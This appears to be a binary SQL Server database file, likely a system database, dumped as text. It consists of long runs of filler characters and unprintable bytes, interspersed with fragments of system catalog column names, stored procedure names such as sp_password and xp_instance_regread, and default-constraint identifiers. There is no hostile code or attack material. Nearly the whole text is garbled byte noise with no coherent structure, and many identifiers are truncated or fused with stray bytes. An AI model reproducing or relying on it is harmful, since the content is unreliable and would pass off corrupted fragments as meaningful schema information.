!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!nYD/r]H3	vaL7"
zeP;&~iT?*mXC.q\22`U)QoM(|kp@q,6E5J8XvZ9::;Xv<	'-=AD>W?Ha	b0x.PГ3,&m1|F7"B^?@)?KA)?KBJCeQDU0QEȃcF$kGXj0s<8z-(']!ϓ49G	+\tOguot'q}_Mk1ae0b{֣\Pi;7C$S
	Oj3~<cf?(CeN5&Y7_lJbl->0*00
5VSxټqPE&
{+F,/.Dj3@@
A#I_B4_
CBmDE!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!9;^o*M_N(+<~n	=m\K:},l[J)]Lpq
`;-6`)gp.=60-88
9id0-88
?indid0-88
Astatus0-Acrtype0-==Ccrstart0-==?crend0-Acrrows0-88
Ecrerrors0-	Ecrschver0-
Ecrtsnext0-00?class0-?depid0-Cindepid0-88
9id0-4=name0-=type0-UU;sid0-Epassword0-4Cdfltsch0-88
Astatus0-==Ccreated0-	==Emodified0-00?class0-88
9id0-88
?subid0-88
Cgrantee0-88
Cgrantor0-=type0-?state0-"88
9id0-"4=name0-"88
=nsid0-"00Cnsclass0-"88
Astatus0-"=type0-"88
;pid0-"00Apclass0-"	88
Cintprop0-"
==Ccreated0-"==Emodified0-)88
9id0-)44Anumber0-)88
?colid0-)4=name0-)00?xtype0-)88
?utype0-)44Alength0-)00=prec0-)	00?scale0-)
88
Kcollationid0-)88
Astatus0-)44Emaxinrow0-)
88
?xmlns0-)88
=dflt0-)88
;chk0-)@@Aidtval0-,00?class0-,88
9id0-,4=name0-,88
=nsid0-,88
Astatus0-00Ksensitivity0-00WbXVTDocidUseBaseT0-
88
Gbatchsize0-Gnextdocid0-88
=fgid0-
4Kdeflanguage0-"88
Cstatus20-88
9id0-4=name0-UU;sid0-88
Astatus0-88
Cstatus20-88
Ecategory0-==Acrdate0-==Emodified0-	$$Ksvcbrkrguid0-
88
?scope0-00Gcmptlevel0-*88
9id0-*4=name0-*UU;sid0-*88
Astatus0-*=type0-*==Acrdate0-*==Amodate0-*4Adbname0-*	4=lang0-*
Cpwdhash0-+88
9id0-+4=name0-+4Cproduct0-+4Eprovider0-+88
Astatus0-+==Amodate0-+4Ccatalog0-+88
;cid0-+	88
Qconnecttimeout0-+
88
Mquerytimeout=type0-600Etinyprop0-6	88
Gdataspace0-6
88
?lobds0-6Arowset0-788
Cidmajor0-788
Cidminor0-788
?subid0-788
Astatus0-788
Cintprop0-700Gtinyprop10-700Gtinyprop20-<00Evalclass0-<88
?objid0-<88
Esubobjid0-<88
Avalnum0-<bbPP?value0-<@Eimageval0-@00?class0-@88
9id0-@4=name0-@88
Astatus0-00KsensitivityLZK
AK
K
Y

b

RV

`
E
		T		Xf)d+Cz9d#`#v/bZ`:-5$)	q=0-@=type0-@88
Cintprop0-@==Ccreated0-@==Emodified0-A00?class0-A88
?objid0-A88
Cindexid0-A88
Growsetnum0-AErowsetid0-C88
9id0-C4=name0-C88
=scid0-CAremsvc0-C88
Astatus0-D$$?dlgid0-DhhIfinitiator0-D?tosvc0-DItobrkrinst0-DCfromsvc0-DMfrombrkrinst0-DEsvccontr0-DGmsgseqnum0-D	Cmsgtype0-D
88
Eunackmfn0-D88
Astatus0-D==Cenqtime0-D
==Ersndtime0-D88
Adlgerr0-D$$?msgid0-D44Ihdrpartlen0-D44Ghdrseclen0-D00Amsgenc0-D88
Imsgbodylen0-D@Cmsgbody0-A88
Astatus0-DAmsgref

Kreadonlylsn0-L

Mreadwritelsn0-L

Sreadonlybaselsn0-L

Qfirstupdatelsn0-L

Olastupdatelsn0-L

Gbackuplsn0-L

Kdiffbaselsn0-L$$Mdiffbaseguid0-L==Mdiffbasetime0-L

Qdiffbaseseclsn0-L

Mredostartlsn0-L

Oredotargetlsn0-L$$Eforkguid0-L

Cforklsn0-LAforkvc0-L$$Wredostartforkguid0-a00?class0-a88
Cidmajor0-a88
?subid0-a=name0-a88
Astatus0-a88
Cintprop0-N00?class0-N88
9id0-N88
?subid0-N$$=guid0-N88
Astatus0-Z88
;qid0-Z88
=hash0-Z88
;nid0-Z@@=name0-[88
9id0-[88
?xsdid0-[88
Auriord0-[00=qual0-[88
Anameid0-[Esymspace0-[88
Cnmscope0-[=kind0-[	?deriv0-[
88
Astatus0-[=enum0-[@@Adefval0-\88
Acompid0-\88
;ord0-\=kind0-\44Astatus0-\@@=dflt0-]88
Gplacingid0-]88
Cordinal0-]88
Eplacedid0-]88
Astatus0-]88
Eminoccur0-]88
Emaxoccur0-]@@Adefval0-C88
9id0-C4=name0-C88
=scid0-CAremsvc0-C88
Astatus0-G$$9id0-G88
Iservice_id0-G88
Astatus0-G88
Erefcount0-E88
9id0-E4=name0-EAremsvc0-EEbrkrinst0-E=addr0-ECmiraddr0-E==Elifetime0-D$$?dlgid0-DhhIfinitiator0-D?tosvc0-DItobrkrinst0-DCfromsvc0-DMfrombrkrinst0-DEsvccontr0-DGmsgseqnum0-D	Cmsgtype0-D
88
Eunackmfn0-D88
Astatus0-D==Cenqtime0-D
==Ersndtimex3		w0g"Y=r)h+D	p)h#`
Zr.^n8!!!!`B
ps1V&^Microsoft.SqlServer.Types.SqlHierarchyId&XMicrosoft.SqlServer.Types.SqlGeometry&ZMicrosoft.SqlServer.Types.SqlGeographyname6@name6" nsclass6"nsid6,nsid6
&nullbitint6
(nullbitleaf6number6number6)number6 numpart6<objid6Aobjid6offset6
$offsetint6

&offsetleaf6
ordkey6.OrigFillFactor6 ownerid6$ownertype6	&parent_obj6"password6
pcdata6"pclass6&pcreserved6	pcused6 pgfirst6&pgfirstiam6"pgmodctr6pgroot6"pid6
prec6)prec62prec63prec6&rcmodified6rcrows6"replinfo6
"reserved6"reserved6$reserved26$reserved36$reserved46root6rowcnt6
$rowmodctr66rowset6(rowsetcolid6"rowsetid6"rowsetid6A"rowsetid6A$rowsetnum6
scale6)	scale62scale63	scale62schid6sid6"statblob6state6status6status6status6status6status6status6status6
status6status6status6status6"status6)status6,status62	status63status66status67status6@status6(StatVersion6subid61subid63subid67subid6<"subobjid66"tinyprop67$tinyprop167$tinyprop26type6type6type6"type66type6@type6"typestat6uid6used6)utype63utype6<"valclass6<valnum61value6<value6 xmaxlen6)
xmlns6
 xoffset6xprec6xscale6xtype6xtype6
xtype6)xtype62xtype63xtype6$xusertype6Jstatus6Kstatus6Lstatus6Lsize6L	pname6L(readonlylsn6L*readwritelsn6L0readonlybaselsn6L*redostartlsn6L,redotargetlsn6L4redostartforkguid6:nsid6:name6:status6:type6asubid6aname6astatus6Nsubid6Nstatus6Zqid6Znid6Zname6[xsdid6[uriord6[qual6[nameid6["symspace6[ nmscope6[
status6\ord6\status6]$placingid6] ordinal6]"placedid6]status6Cname6Cscid6Cremsvc6Cstatus6G&service_id6Gstatus6G"refcount6Ename6Eremsvc6Dtosvc6D&tobrkrinst6D"svccontr6D
"unackmfn6Dstatus6D
"rsndtime6H sendseq6H"sendxact6Ircvseq6I rcvfrag6Istatus6Istate6I
svcid6Isysseq6I princid6I$outseskey6I(outseskeyid6^&thumbprint6^type6^status6.name6.snum6.&thumbprint6.pkey6.	status6_name6_&thumbprint6_pkey6_	pukey6`name6`$scopetype6` scopeid6`status6Xvstatus6Xv"priority6Xv,queuing_order6Xv	&service_id6Xv
8service_contract_id6Xv&validation6Xv,next_fragment6xstatus6x"priority6x,queuing_order6x	&service_id6x
8service_contract_id6x&validation6x,next_fragment6<8zstatus6<8z"priority6<8z,queuing_order6<8z	&service_id6<8z
8service_contract_id6<8z&validation6<8z,next_fragment!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!


~
\
@
$
2$hN4hL0>pT8trT686



z
\
>
 

				l	0		N\@$fJvVzdH,TjB$VrH0P j~dJb2hJ,
TB.
vjZ<x~dJ04`,5L"htV+k00P Y	Ylsp_MSalreadyhavegeneration00#P VlYlsp_MSwritemergeperfcounter00V RRXTABLE_PRIVILEGES00kX 'ATDT`sp_replsetsyncstatus00(+P ŵUdVVsp_replshowcmds00DW0P vTUPsp_publishdb00h@9V !Q?Qbdm_pdw_nodes_os_tasks00IP LSdY`sp_addqueued_artinfo00LX =TDTVsp_replcounters00PP V7Wtsp_MSget_subscription_dts_info00ǏSP QԨQ|sp_help_spatial_geometry_index_xml00RZP S~QDQNsp_password000]P W7Wnsp_MSstopdistribution_agent00O_P WlYhsp_replmonitorrefreshjob00ƺvP p*WlYbsp_redirect_publisher00BP XXrsp_MSenumpartialchangesdirect00UP 9VkYnsp_MSupdate_subscriber_info00:P tVkYpsp_MSdrop_distribution_agent00X +Q2QTsp_bindsession00ҲP 4YGsYxsp_MSallocate_new_identity_range00ƒP vV0lY\sp_MSenum_snapshot00X bVcV\sp_replsendtoqueue00<P SdYpsp_dropmergepullsubscription00eȲP FXGXfsp_MShelpvalidationdate00V P PNdm_os_hosts00@P P7QZsp_cycle_errorlog00'P fXXtsp_MSgetdynamicsnapshotapplock00P N)NJsp_rename00P5P 7QՑQ\sp_dropremotelogin00]P VSRdYdsp_addpullsubscription00X YWY^xp_instance_regread00*P W^W`sp_cdc_disable_table000sP WvnYnsp_is_makegeneration_needed00lP 'mXpYvsp_MSaddmergedynamicsnapshotjob003P DT
bYpsp_MSrepl_agentstatussummary00lP =VeVhsp_changelogreader_agent00V ~PP`dm_os_memory_brokers00fP V7Wsp_MSdynamicsnapshotjobexistsatdistributor00zFP ǪR֪Rvsp_procedure_params_100_rowset200OP VYlYrsp_MSenum_merge_subscriptions00=PP PPPsp_autostats00RFN.UdV\fn_sqlvarbasetostr00rSP bRRhsp_assemblies_rowset_rmt00CVP PR;PRhsp_columns_90_rowset_rmt00#ZP iXpYsp_MScomputemergearticlescreationorder008cIF!Q!Qdm_exec_cached_plan_dependent_objects00rP QՑQPsp_addserver00ݘuP +XJXhsp_MSchecksnapshotstatus00σP VjlYtsp_MShelp_distribution_agentid00_P /KYtYvsp_MSaddlightweightmergearticle006?V cNNHopenkeys00$P }SdY^sp_MSarticlecleanup00P 	/VleVdsp_MSexecwithlsnoutput00X +Q2Qtsp_new_parallel_nested_tran_id00緰V LPgPhdm_os_memory_allocations00	P !MS@dYnsp_MShelp_identity_property00P WSWdYdsp_replicationdboption00V Q3Qldm_pdw_nodes_os_schedulers00P RDTdsp_MScreate_sub_tables00X ݅QEQdsp_start_user_instance00%UP YRCT|sp_MSresetsnapshotdeliveryprogress003P iX~Xpsp_MSremove_mergereplcommand00IV -PIPpdm_db_mirroring_past_actions00U-V PPpdm_xe_session_object_columns00B#FN_W`Wjfn_cdc_get_column_ordinal00$P EqVkYbsp_MSadd_repl_command00%P }V*6Whsp_MSgetagentoffloadinfo000,P WOnYjsp_MSgetconflicttablename00sq5P rUcVzsp_script_reconciliation_sinsproc00;P YY|sp_MSinsertgenerationschemachanges00GV PP`dm_os_loaded_modules00QP NYNYxsp_MSgetlightweightmetadatabatch00RP )SCTlsp_MSNonSQLDDLForSchemaDDL00cFNUdVfn_replreplacesinglequoteplusprotectstring00P ̗NrN^sp_dropextendedproc00HP OUcVsp_MSdopartialdatabasesnapshotinitiation6R>RLpf|BVBZn
 
R4
v

	h	@t$Z"XF8`
Z"uZ.
8^t 8@@ 	!!!!`
X"vUi.&gJDF__MSdbms_da__creat__1367E606&v8JDF__MSdbms_ma__src_l__173876EA&#,JDF__MSdbms_ma__src_l__182C9B23&\ JDF__MSdbms_ma__src_p__1920BF5C&JDF__MSdbms_ma__src_p__1A14E395&	JDF__MSdbms_ma__src_s__1B0907CE&,JDF__MSdbms_ma__src_s__1BFD2C07&@PJDF__MSdbms_ma__src_n__1CF15040&ytJDF__MSdbms_ma__defau__1DE57479&M#JDF__MSdbms_da__dest___239E4DCF&r$JDF__MSdbms_da__dest___24927208&A%JDF__MSdbms_da__dest___25869641&zz&JDF__MSdbms_da__dest___267ABA7A&n'JDF__MSdbms_da__dest___276EDEB3&c(JDF__MSdbms_da__datal__286302EC&B.@default_sdl_error_message&{/6default_current_date&$0&default_zero&H0$default_one&^=PCK_originating_server_id_MustBe_1&DhF?@CK_master_server_MustBe_1&ԫNJDF__sysjobste__date___4E88ABD4&
|OJDF__sysjobste__date___4F7CD00D&ZJDF__sysjobsch__next___5AEE82B9&[JDF__sysjobsch__next___5BE2A6F2&}HhJDF__syscached__has_s__68487DD7&<iJDF__syscached__is_sy__693CA210&I0jJDF__syscached__cache__6A30C649&p*agent_datetime&"JDF__sysmail_p__last___03BB8E22&[JDF__sysmail_p__last___04AFB25B&?CJDF__sysmail_p__is_de__0880433F&xgt	JDF__sysmail_p__last___09746778&h
